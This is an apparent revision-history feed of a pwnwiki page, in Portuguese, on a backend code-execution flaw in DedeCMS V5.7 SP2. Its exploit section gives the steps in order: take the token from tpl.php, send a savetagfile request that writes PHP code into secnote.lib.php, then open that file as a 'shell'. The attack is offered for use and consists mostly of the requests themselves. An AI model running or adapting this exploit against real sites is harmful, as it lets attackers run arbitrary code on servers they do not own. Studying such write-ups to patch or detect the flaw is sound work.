https://pwnwiki.com/index.php?action=history&feed=atom&title=DedeCMS_V5.7_SP2_%E5%BE%8C%E5%8F%B0%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2FptDedeCMS V5.7 SP2 後台代碼執行漏洞/pt - Revision history2026-04-10T04:01:44ZRevision history for this page on the wikiMediaWiki 1.35.1https://pwnwiki.com/index.php?title=DedeCMS_V5.7_SP2_%E5%BE%8C%E5%8F%B0%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/pt&diff=4699&oldid=prevPwnwiki: Created page with "Vulnerabilidade de execução de código em segundo plano DedeCMS V5.7 SP2"2021-06-10T03:36:51Z<p>Created page with "Vulnerabilidade de execução de código em segundo plano DedeCMS V5.7 SP2"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
== Exploit ==<br />
<br />
Primeiro, pegue o token: <code> domain + /dede/tpl.php?action=upload </code><br />
<br />
O token pode ser obtido visualizando o código-fonte da página<br />
<pre><br />
http://127.0.0.1/uploads/dede/tpl.php?action=upload<br />
</pre><br />
<br />
[[File:Token.png | 600px]]<br />
<br />
Então visite:<br />
<pre><br />
http://127.0.0.1/dede/tpl.php?filename=secnote.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=<TOKEN><br />
</pre><br />
<br />
==Shell==<br />
<pre><br />
http://127.0.0.1/include/taglib/secnote.lib.php<br />
</pre></div>Pwnwiki